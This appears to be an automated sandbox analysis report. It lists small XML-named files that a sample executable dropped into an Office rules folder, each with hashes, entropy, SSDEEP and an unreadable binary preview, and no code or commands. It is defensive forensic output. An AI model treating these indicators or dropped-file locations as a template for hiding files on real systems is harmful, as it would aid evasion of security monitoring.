Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.733092759096061
Encrypted:	false
SSDEEP:	24:qvybUIBcgAEFr4XNwoQ6IHTZQXumaJsbD:qNIBfAEMBbcdzmaJmD
MD5:	D7378BAD2B6582587790FCC9A0B435C7
SHA1:	9FE3E3E2924BF70BFD12AEBBAFAE7045A4D92D7C
SHA-256:	4B8C172380B0B94BF1269DECEFF0472A930CA0B04F858007A27C3939BB99EFD7
SHA-512:	ECCFF6824BC1ABC260FBAF648F1A2E4C189F6B5F8C54EF2ADC0C5BED4C1538C47F63E8E459E83A8E566C3D3DABCF67B858CF3E8356C11A6B46005BE7B0D7C46C
Malicious:	false
Preview:	<?xml..:.".u..<~l..M.6...=......U..o....F....+LE...(.+1...3T......3...N.....k.bv...?...f....tW..3.q...U.+.\Gs.-.`..^....)...}......m8..s.$@P..~.9.L.....sH..y.I\0...c.h..'4...,.......U.=R.E..;._x.f..U...(e.E.....<..$\|U.F.@U.z.1.}P.1.<9...&...n.Y.c..w..&. .9J:.V.....k.O.$7Ae.Yg.'?.f....:X.b.ZT..B.....?...X.~.I.l.0...R.#.i..7...n....@....k?.d...wm?a....e....&.yP".'r......mH.....I&R.U...9w.BT..Qj.=....K.^.I...;Ne.H6&...(.....6.<..._V.....3d....D..2...w&..2h..T...h..R..{.}.E...G..U......"...&..Q..o6..qT.p..4;.!..E..:].v..CG..}..H..S..../x...@B0.'F.....n...sl.xW..0./.E..z..4V<bm)l&.k{E].z...c%....5.....gp'.... m}D..>.O...LQl.B^...d........ .q.&.,.%.i..dd.IBV.._E.2....>...>..2.p.....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.719483964163887
Encrypted:	false
SSDEEP:	12:6ax5G0IuqUQoY2sIPKZXgTdTOJSZbgYLerMlNCoYG+MGZxaXJ8YJoyl7Qscii9a:6axwlJR2sIPK6Ric+YLeYSx7PaZ8YpU+
MD5:	D1BB63088BA423FB816010C3CBC9EA16
SHA1:	030582867CD36344A920DB975AD8D2C249F6735F
SHA-256:	2B08C51EBCAE13B662498D3E6531999ED8E5A6220CEDA6342326A8F54C7B953F
SHA-512:	6C184F81D02F80CA6216AFE84559DBDCB8FA6A2200597B304B247F19EB0FAA90797AE44258F6B00F8540451C2E7AC6748E0A541CB8AEA3CF20D951295681A2A7
Malicious:	false
Preview:	<?xml...WH.?GJi..ad...0..I.._7gj.A.1oD.......QV....A.../....A.....v.}D.Mcs....&.s.9..82-..5M...>...!R@}i..h..t...=.S.4....us....T.d.f..z..ygFa..s#..h....y..QO.=@..4..r...A.$r&.?a.,.8Xb:"D80....{."s.V.)....l//...F......c..fg..."..B..7..!....l.f].!..m.f.+.F\.k?n.8..O.pnd.Ml.?...V~d..9...}...J.i.:.O.p.}'.#......Y.Es%./..W.^.E..n$....#..t...3F]<B\..6...I(r&.3...../.Ko.B...~.x.x.#.xN.:.m......-.E...S2..7.n.+gmE..RH.x.J.l.X..8..b.X.._.d...Z"......$...>.....C..7A.....>'p-...%/.........}..XI,e.%.....[i...".s...K1.0Q.."......2.#..2...UM...j.....,..n..KUD..Op."...T....t..u....y..[...".#..."...q.1...ds..~.v...{..?.u. .7.....6..v..^.f.......Q.x.]...-8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.706925306826566
Encrypted:	false
SSDEEP:	24:eTHtga4SGOOy/6MMPhXX0K7y5/84OpMPHPX/8SDfsbD:eBN6MaXX0K7y5UjpqvhfmD
MD5:	AAED5953494AE72446747376D0BC66BD
SHA1:	42E0D6DC3029EE92B85E6E824852A7679E6748F6
SHA-256:	80ED283CB098F14634DD936F526B6A834AE72A0C019085FE5C1D61004806C131
SHA-512:	37A889DDE5949C64E2D36359C95E5CA04E1B4D91D2F1B4A4587FDAADFFABBD90206DA96A62D420721690E9FAF01ABB832E5E9737A207F08B7B7DAEA98D2DB911
Malicious:	false
Preview:	<?xmlo7.......~..'(.1?.a..{.........j+W7).....r.XMB..O1........8.....XW.............vN.);.g...h..V.. ...../......<..)@.:,....F.>..\6M^f....,>.".,..d..:....U.#>..........-.N.."lW.....[....=.._.1.(t.`4..1Ye[..X)fy....P.......Ki..[n...;.PHgf...+?...O..x.{.Q.M..x.....j....U.9j..cv......U..D<.\u.p>./].1s.8..ih ?....6..xy2.x..JUE.3jk.#....}..wF[C..d/...w..=.N,..... n8...J._.z.ccm.)B.W..DD..7....B......F.$)X.:..9v".........Fj....X. MVx...Z.#U..--..Y..4..t*.<K&........m.So...Qx19Yq(.B....O"~.1..C...n..P....E.U..R..........M(J........#.a-[..%v'3....)...y..6Y....A.AUz.cc...2....&C...>....Y..kDO.kz...h..=..~{$l...5%G..@H.......3......%.....I.H#...3.(..:.`...B..h...,.^......D.......d.Q~.....~.WbP:....E.K.6...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.662119795483523
Encrypted:	false
SSDEEP:	12:dElrbV6qVdEMS33Wgka8gfg4ptNzqXNplKr7pqmaza7hqwZZgqrfO0PAl4IyFSx6:dcQqVdE3PqKIdplgEma+7hnzgqKFZyFV
MD5:	45D8AA12CD128CEC43448A119B396D56
SHA1:	1FD16E2CD58D977C9DBBFA56461B048D7F24426F
SHA-256:	989E483B071E011D195AAE60A1C2B15C52DE87DF9152759F3BFC02DA359B073E
SHA-512:	A76BB1ED92D064C34E1214A547C70A81B482D29CB6C9501CAF5190DCE09FE8B3ADE2D0FCEF3E2F41FCFCE9D366739A30D921B25E90DE33573CE09CCD8B15DEC7
Malicious:	false
Preview:	<?xml.`........n.....N...i.jLeM1 J.....WeLv...c.7..).d.&4G~2"........y...tM...u...I..9.I..Q..........e..'..z.@g..H.....(..,#......r....x.7....\....r.F...g$x...F..(......M.7-..^s.Wwf.2d...W.g{..qX4>n..6^....A.G...[...b.v...'.hA_$.t..-.:=.:.....wZ....6Y.&.*..^."..{.=z..2=Z..g<..}........#.;.yp...M...e...%8o5.Q I.z"Gq.TN..s.A\|w..^.......b..jR}..........,..._.2.:.^y.....C.S2..=... .a......Y......@...8Wp.o.L.4fK...9...o.." ..1.-......T.k..&...i..YE.w.35/.z..=.G52.z+..g.d@...6.`)'..j...=...=..?Qz.....}.t.0m.N..b...7....m.u.........5`.Y..b..m.ziu.....U-...E.CG-.By.c.`.7C.au.d.....d!6......,.@Sb......4...h.........o{un...`.!...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.752533013052304
Encrypted:	false
SSDEEP:	24:BBZrBx7l1q6MgONjHCZsCPH7PFUS7kfWnlLJROsbD:pBxy6+NEsCPbPFL7BnUmD
MD5:	2D9A1FC4A5A4CEAAF2E5D420E4B02681
SHA1:	1EEB941569033F7B2599A567FB796FAE095FE81A
SHA-256:	91873C53FC2C98D903920C3182C06D4956CBC0CB9004FD27D8379F2FD341866B
SHA-512:	FF2C331424920767217B111865D960DBA0293101BA8680A9C3C5DE2E035B16903EE4D35F2CF8BDC53E54D2D44FB2E45FCF3ACDDAFCC1AE754D1E38DA821A1A1E
Malicious:	false
Preview:	<?xml/.....".....{SZ-i...Im...S6...A.....Jt.>aOGf.0.c9?A. U...8t.<.W...7.c.....V+....M..W?..._..ts?pz..\|.'dH,H...EeC....>..[....q.C).!.X$.f.o.0.y..oC.sT....H....N.u<...[b...p.dR.A..^....H4..v.......%Id./;.....h.j.S....eZ.e8P.q..`'Io>..3.g.z.<...u.<H...c........B.G.F..\|..'..&=.W\x.k.j.....L.WW.Y.-.w.n..}.P...-Q..kv.e....O...Xk....R5..., ].....q..E..z^......+..h...r.....^...~@..U...A.....$j.K....S....gc.^..b.,`v.s(.q.*.&.a#[...`0m...6..>"..G....g><c..su.Ho...?...X)u.B.6.."..F.../-.gNl%~...v.~>...w.5q......N.9l..3$l..G..+........e!."..~`...@;....c..1.....bW.U..QW..T.n..........s....0.8.....Fw..a...-..E8......H..o............{...#6..$o.a....x...q...lwn:.......V. .Bc7'...e...u.:,.W...U.[.....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.658766321536989
Encrypted:	false
SSDEEP:	12:a7YKxm63yVa44z4lMwe+UnRbLUWfrou9e5jwOQquSOIlRYdadvo2EwvQscii9a:a73Ca44MlwfroaGuqUdaS2E7sbD
MD5:	8A1498ECBB36E13C59E6170983B2EEA2
SHA1:	5CC97CC0CD11BBA19648654B9E3D15598B4B399D
SHA-256:	700C66F40C59397F91A040EE1028471FE8040A612C8B1653FD2A2E4EC78FD084
SHA-512:	07A17A167C7C5D30B208CCE972298BB695325784CCCAB47236C017B737DDD47CB353709E53B54E94C7E88A0544D95EB727D51BF2055CCE8B159B4AC2A08CB0E2
Malicious:	false
Preview:	<?xmlCJ..BX...}..X...P....l.u./.#..}(...}.'.3..]......0+..y.3[..(....w....}rfu.D].N#..........M..h.!..Jw...a..FQ.7ka7...u.o.T./!EN.V...._.t."A0......... ...+{..2U6...e..@S!.+.5^.F.\|...2I5.....&,....D.......\f.u....9.......x.....D}.I....mm.v+....1.sG....2......j2.D.4...p..6.r-.$RM:D.3@..r.........U...N.....Ac:.~[,..\....~Tu.2..$.xfs......v>V....C.U.x.*...r.8:...../..\>.9....#N4..Ip....~....u....`F.......f.p.{...2.O.:..3...9.=\|.%.`......\...w.....5.&...f...+.Q%..y.CXc,..Ml..{..{....^..h....`r._h..n.s......n..f.~."..E..3g.....n.!D^7...o.M.?.l8M'.r.....f.."h.,.Rk~.C..S..MUL.e..1..Yf.fh...\|...\|...-2.Q.......EvJ".].7.?.B..I.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.740894772514329
Encrypted:	false
SSDEEP:	24:vluA2Y0+i5kHovUmxd5gwsVHmkqXWSbTsFlJsbD:vluAldiSHIUmNsVxk5ULJmD
MD5:	0636C79F042BE2BC9949BDB50B9625D1
SHA1:	D74B205A9AD1BA4C60C02A9B5E08CF3CC60991EE
SHA-256:	4953C76703003CFA8F34A73BE4C322A14ABD2373C1BA07CDEE66F494688B7C56
SHA-512:	F2661941154E9A78B561364704B02FD1BA09F0DD9AE97FA135EEA20AFA2C8DC86185014B392D4B37B06DAC9A2AC8ADF89DB10377D8217331FDE6992FED9EA800
Malicious:	false
Preview:	<?xml..Z./."\.boP.....%......\..#....Z.l...9...0p%..i..kI.....A.}B....&.e....]...\L.@ck..b...K......Q..)......LAo.....sOR...I/.....tD..n\...El.(..Dan....K.L......=.6`\0.cow.].7...Z..},>.J......\ii..8..!..T...U..hV..wx.L.m....;.e.!...N.>..........N..'.{!+.da.!......#n.j...9..l..]...a...mT.8..v2g...rc....V....l.7..3.7....<b.^......,.'..y...M2]..;..c........Z.w......f.F..[..)a..A.(...9.......P..~x[;...7>......M....X..B..8...IAtk..-...........K......-&wa..g}.......z........>Pe.....?....7..../[...;..........K....W.j#.....'v.Wn.....".........%.<.~...t...D8s/.....XPT?2H....,...".0c..MmV... .S......yN..0Z()UA=...<.X..-)R.:.K3.....H4.]T..F.%..H#.L.A&..v7...e.W.R..\|.:...Bz..RV.i.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.710789042029107
Encrypted:	false
SSDEEP:	12:8fHdYSjVJiB5keQ84ufgXfrProMc9Jl0minwWhOikK6JkMfmGk94oQscii9a:a7jV6ke0DRjnwWh9kbkOq9esbD
MD5:	7968AE59BACF17A3F27DBE0FC9A5EB68
SHA1:	2148002BA29454F792E03D62F1478EA9BB195250
SHA-256:	C54B89E6DD61CEFBE5E3627F5769A334B5ABA840439AADB5CBBE8D7B6712958E
SHA-512:	72B7D8B64142E21446B9C77A5A06F190F25C27F00357472E834F51A08F3F71734C67D90440CC4DFE2A2A7072D558CA0DF0DB910B0CA9F2CFC7DA3ABFD537F42A
Malicious:	false
Preview:	<?xml...Of.....!..UM......q...Z.G/...+.u.1~...CE).Qy.(E.......C}.s..~\.....L.........R.7.$$.-5..l~.....~.&..o...`..n..:T.....<...3\....\..k....Z\|..)....$.C..N.y....[....r.Z...G..K....B...lE..E.7UQ..&.....m.....$.....(D#."a..1..r{w.0.O...9...T.A/.i,."sT..G......R..P...b.^.."..=.?....$.\|7..Vi.J.E7B......c.J..$......&.. .Y...F..w-.&..4W...............+R([j..H~.....v.xQ.0..f(...L[,y<=..N......c........;1].O.......3._.....R_.n9.}.j.....8..0E8..........O.7...WnzCk...f....j.%..A..E!o.1........5P}...+...+f.0.{.....8.6\...eE...@..7*....:..<..~Q...ow...B....J-.D.'W..K.Aaf......E.v.M}.I.<......A...tJ@.[...8kCU....Jg;.[B......{..5...EcU8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.726513776179713
Encrypted:	false
SSDEEP:	24:isP+LN+wxKSmex7XukLdru8cdiMat712V25OjAzsbD:io+LUKmG7ru8cbmOjAzmD
MD5:	D853AE6C7967016667C70E7C6808399D
SHA1:	A36497F2334AA18F6AA1D36F7E6D2A355B18BC99
SHA-256:	93C860AA0304D6940009C19EE1B91CA5BB7464AC4C0E5EE6CCD42052E13CE7D2
SHA-512:	799E6F2A50A0F8ED946DCE740D2AF4FDA34BBEF75E02EFF55D0F37E49CC1894B946BF266B34B738E5689D689D707589AF5420C442B4F5BEC888614A6A08B4E40
Malicious:	false
Preview:	<?xmld..y.Lf<.,.,.}CK.;...Mk..]e.......%~Z.....W...P..32..........1..p.......Y~.Z--.B.h5.P..>p.O.3h. ..&4I..\|T!.....0.>...<.\|0g.E......;O......&...o.A....J.3r.{.N.....b......5%...v.........<ZN...KcEI.5Zs[......$.l.sp.C8.u...t..j.).K>.].y......m%\|.Z.%a...RU.rfN..0...ZV5b.Bv.i...".......`.>?..&.j..a...M.a..RX..p'y.kH...~i.....,.J..Q...6G.Mh<.=..._/d.^...].x..-../6.G."p...6y.S0...}j...#W?.h......S.J=...v..^g.....H...n0G7.....`.7.e.......O...{...T..^....Q..#.U%.........<k.x_..~...t..KU.=sG...!.K.Jg.\|..`...K.....38.I..?.+.i.+..Z%".....>.O?..x.....(...)....d.-....].?.@....,.5.o..K.;f........s.JYb.g.C.......S..>..j....Z..h.....qq..G.v.tU..[.l............<.n.D.S.n.w...k`.S{..S...1.....S.m.\|..gX..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.709593418502292
Encrypted:	false
SSDEEP:	12:iZl9v0XllTRCcmuSTRIJvv3qeG8gwGIG/xL+yicE/l5EIaDm9XPZzF2Qscii9a:wlJAlTRCcnl3qetGlyc4HEI9JPZzF3sX
MD5:	2B9CC9666F2246FD008CBF4F9C346E2A
SHA1:	F7E098CF40BC5610C1DA6BF1A7E58D5963E1413A
SHA-256:	5F176B85971BBC0F35018093104E189AD659065AAEE274C482301AE31FF30B51
SHA-512:	734BA5E961DF0839EA73F91AC8571E655C5DDE31CD5CC8129D21FA09872D1C8A8F0E713B10D8685B6541A518308796088553777CFF5DF302CD04267731DF4C04
Malicious:	false
Preview:	<?xmlb>=..b#N......?.'..7...U<..x...k....._Y......D6...^.KFp.F......8.o;...={....k.4)^.T.g..s..V......S=...1eY..q7.%.{...#..C....-..T.w.^.\Y6.gT....=...+..S+{....R&..a./.T9p..\|...h<&t..IV.9...n,...n{..1B...>n._..w}.7.)..7.&zY.{...ww..F~.E#......(.v..I@....s..Z\w&#..OHX..{...:JO...x@....HT...^W....gi......f...\.2....l..y.F"F.]:D.&..L.pV/..._ .../.zBR..P.!q;.1~.....D...D.,Ln.s.J.....P...'..N>M....qj:Le......R.2...r......M)O.+2.-....=r-D..I.yKY.:0.....#I...3....M=Ah.#1h\.m..... .Y.u.....;.L!..3..$..q.0d.Z_~...f.).F.. ...GB......H/...IHtN.4..N.GX.bg...Q.#..}..:XV...d.......i.r..%.C...)..v]./5P....c. 6.c..%%ir.w.../..vzp_......nF\..(...o}... .w...zE.b8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.698690570349872
Encrypted:	false
SSDEEP:	24:mdT5myxPCV2KFh/hvdk7orQeNYpryvWQf62ACsbD:dmLQ/hKcrxe2JACmD
MD5:	1FA5667B0AF0C9B156BF01EADE4C2124
SHA1:	88749AE9AFD465307900822255E35EE436213932
SHA-256:	190C294D5AA27F8775D0D2B2A75690813C655F09DC27429E6743139605894554
SHA-512:	CB9AB955FF5426A50945D36C86F458B13CD7616A97242B28A3B522C1E318C6087B8EB4C0FE76BCD852102D4DE92BE86C490E59F76849F8E3107F1C1A3698570E
Malicious:	false
Preview:	<?xml.9._..k......up.;.[.+.<.Mp..p.mZ@u.o\t.;Z.b-.G.a.aU....Q..+....T....G..1.H.;.G.'...,.v..rh.U...SV.;k.4..d&).....t..B}o.<v......MA........6.X~.nb..-`......_D.b."..@T....=M.[..{r.w...rN..=.Ts....u.A.o....]O..^.U.....mo.......r....+k..;P.._0B....o..p......_2......=.Z.hf!.....x;\...l......u........T}..k....k.:y.<.)...m../hr.No..i<iv...S.B..\B`...K.w...!..HCy..8Mi.z..!.........r<..ZF.,8...`.[..u...n...O..D...U......i."8.2Zt...0..._../.-...H.......8,.N>>1d..72c..g~s.%....?..A.[...Y^./...$$.&1.....P.........y...8[+D}8.....m^_.:....g^...=..q.-Wp.!..u._...\].(.j(.t.W..).F.....<.N..Ik.....Q.^..P0Y?.^...."....9.....9+..(.l.$...B..=........Xe..#.....&............~T..W.....z.....S.....`..X.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.670558911651728
Encrypted:	false
SSDEEP:	12:6x8YQjPy99TUzSzeO9qD+79Y1+JAnVOmP32Klnvpu9zEDXu7m2Qscii9a:lY2PyzgSvs+ajVOw32ynvDDeEsbD
MD5:	8291DC3338EEA022C2FF510240544661
SHA1:	2AB6A2177938DD50917D685168BAA7203A785B86
SHA-256:	77B47AF75A9043800BC3AD8EC26D76192BEE7DD2AA6C653C1321DEEBF864C50E
SHA-512:	543E416768245287BDAABB2762C6442D9F9F8A62C5B30D4F7D38291BCBE9BB9097602A59C8436DD63C363577966327937CFD3571A8AA5C488A403B1D7E9A4F9D
Malicious:	false
Preview:	<?xml/..b...v.e..;.B-1...^./@UZ.....<CW...W.C..}..CM .Q.34m..,cP.GoQ.0a.8_..G.t3.K.M..0..j.....!.S.1..q.~&sTnm...Cq....T...B...o5.@Fu...2j.....O..Oi.4x'$L....5.y.<..M.<..}.&......1..$...0..$.D..FF.o...u.\|p.]..Q...@0r..=.\.7.N..@.g....-.8q...'.JO..d.t..&.q...zM.V..^.Z...J...A..+&.GJ.P...z.~qIF....&...]..-....rZ........6.c.,P..._.DN\|.W.'?[dG-....N..b.....K.e......@S.....}.3.l.a.&..#..&YA.....)N........3^-...'..c".-....s.. ;..DT]@.4..fE@"..f8.o......8).o.$.6@)....#....+... .u.O.D...K.....K~(...+2.:..WU.......t12..}.P....8...i~bH..8.$t.j.6j.B....i...:.-).`'..1.t>.....2.,.rpL#....j)....[.x.P.6.....~a\|..;.8n...".......3.}..K......a.....B.f.:~&A..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.738620712468564
Encrypted:	false
SSDEEP:	24:82EbcUZll8HNXaA8NYcMzHcz2I/C+kofoxLsbD:6NyHtn3cMzHcz2I6+kJLmD
MD5:	A0D12F55533804D62F4B5D1C68945E75
SHA1:	617D162C9947796762F50699F54C5248C536BD88
SHA-256:	4223ADD5E9983B9605850000BC01687F410532820DDBAD4B275BF8B77B37DC4A
SHA-512:	F73B30C1B730BA7E87B9C59C8AC80BAEC01FA3185CC5E947A9D5D2FDF8025E0E7C0AB9B6B8B8E35D7504F5545E7F2633A1837B39758AF6542A55492231D7A12C
Malicious:	false
Preview:	<?xml..W$.K.X....s9...7..9.....TZl...'<V>L7...w...bI.....s.1..O....r...n.>.....l'.M.>j....)..\|Z.$xBj.(....&.....D..(.p(.%.o....G.U.r".h?0..R.._.3Y....+_%?.m.......a...{.m.....x...."...U....~.5]....7..`-.Q....d..x..GtH_......Utv.a..p<.f.G<\l...pD.5.;.!<.{#....l.....a..E....A..E..FPNZp..OS...Q.C...t.....Lv%I....wX.4rQJ..(..!>q...=.ar}.8.........cX...!i.. R...Ds.S ~.n...........O9.x#....x..;s..l.........j.n........J.0.."(.k~h....l:.;..r..eJ%.FJ........j..!.C#.....P....PB.6a.G..k...1..1...U.y..tB..HJj.?.F.....:.......a.%X..$N..>.?bi.7.W.`...._d.......9i...PqoV....S.8".x.x....J\|'.B?0..21...1d\.._...V..k7.\.7.Z....~L..-..Zo2_.......~=...(V2.!...[........t.ra...XT...8...Z<.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.687255999679893
Encrypted:	false
SSDEEP:	12:/ncAUplDb0zos9vE/KZpZBER9AisHpCdE05o84+OY4Gq+PNRF0CLoachAUlEoQsX:/cKos9vEK3Bu9AisHpC20XlhPyHhA4e+
MD5:	7E3C97694809C4BC28255ADB99396209
SHA1:	E4466E83F9F73F883EE6B37B37484D1C27B56860
SHA-256:	97FF0CB10ACBB07CFF6B43B7C99B74859C3CD86D08D8C17B43C1FE00EE522425
SHA-512:	0291A981DBB99EA17B9E7F27965754F4BBA969F25F9CDC09B46A7E13366823DC576C613C44BC49634FBAAA593E12A3ED46FA837E438E5D6B0B995C893E8E19B5
Malicious:	false
Preview:	<?xmlKI..R....2.........vt...._vL_".K.e$.t;..m....s...d......`..w.[...k.)zVh..B...,3+...>..-.X...y..x...6..{1.?L<(.w(^..v..3.7...m.=.1..Z.6.ip[L.7].?_q.2vs."..........Y...#.5@<.E.. ;.o.}....._..3y}......x..>...a.v1+ld..N..'...\O^~.. ].T6....-.r+I..Z......p.~......k..gv...T.4+$.h....4H..K..x...........Xp.pQ...$...-K.n..\|.W"......j.w...t.B.0L{.,....U....^..X...3\|.#3.......l.....qr=.......rtT...y>..a..<,.7..Q...k=..p...w,...03...."..../#6...(&.o..B.V.3.n.....EN\...}..b..B.p.U........F..d...TJt....g,0....IR..&...$.hMc2g.....V....Om..w.j......9?..6.e).'.<rh.63.4m.....^.mD>...}...vt....7G...5..,......r!...b.T............M~..0.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.73501320001554
Encrypted:	false
SSDEEP:	12:TKFMJcLCiRKXnNykPng0oqd/xlPvGsQxQJPHVNqHHTO5gyJggiAkU/jkNUQsciik:0LCiSn0Eg4drPvcxcPHsS+yJdIvsbD
MD5:	7089AE3A5621D4AB235A5BDA76AC7700
SHA1:	B1392DA4236090D6127888A87965339B90083346
SHA-256:	CA2A136152623A65EF2874229FE22F649C15B29FBFDE817D74BE7887CBDFC984
SHA-512:	3ACA2557D0DC372DBD3E58A6A888566FDB60848B6CF1BEB6F0B3CD0067E06060B90F283A557C83CB39C1577239EC5803F631735A3F2AD16279BFE678AF29BC24
Malicious:	false
Preview:	<?xml..&.(...#T..9.GX`HX..3.....D.EA\G.E.2......@...N....t..$KW..-...e.E.H..p.}.q...85............F.....%....<..;..U.(/..R.b6.......~.<...m......^jC....'...... ...FG.(PI......U...3M....%...tGG`....D\|.0.M.;.?.c..[5.0/.I...3..$6..({....}..^S...<..Ob..P.....x...0G.Bh.B....a...Z~;Z.S..\..... .+..Q.).......(?..&jA.jW...Km...9...,o.a.m..G.@.!/?.....4.....g.F...Y._w..$....@..qg3..p.#....l#.,....L$.$..;..s..M^K1.....1..9.>.acp.).~.Hc>.ADn....+...].!\o0.. ....p..S}....c./.8.(/..0..\...xg!.RC..[.B.{3.......x..>...=.:.~..{,..c.....,9.....e..L.....#.V../<>a.w`.A&9...k.F..tM\|. n.........H..[@......T.Z.....`...z.....rb..?.%.x..$g......0.lv.r,..rH.&.`%F.....y.....4tJ.1...*./#....B8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.666869824238749
Encrypted:	false
SSDEEP:	12:OdXJ9DH8fwKhT/2n1N0J+8oRa7JzGnEfzT/UJ2a4b0yhhF+CgUYNbjMUQscii9a:Ohz84KhT/GqJ6Ro5GUzTG25yGqWsbD
MD5:	156CF160DE8B961112EE828FCFE43AA5
SHA1:	EF58DBA684FF97849328FD9BA673CA163A2C650C
SHA-256:	7317F888F7DB9E13C6F9FCACA66545020BAD83DD26165DF6461B9A17EDD67FC2
SHA-512:	2CBBAD96CBD4D6B972FE760EBA11B7EEB63B69D6A552A7F2DFA3CAB2C7B0B481ECD2347C45CF20676064B3E8840136D3ECFA2F2300F0F674BA07DE3177337E5E
Malicious:	false
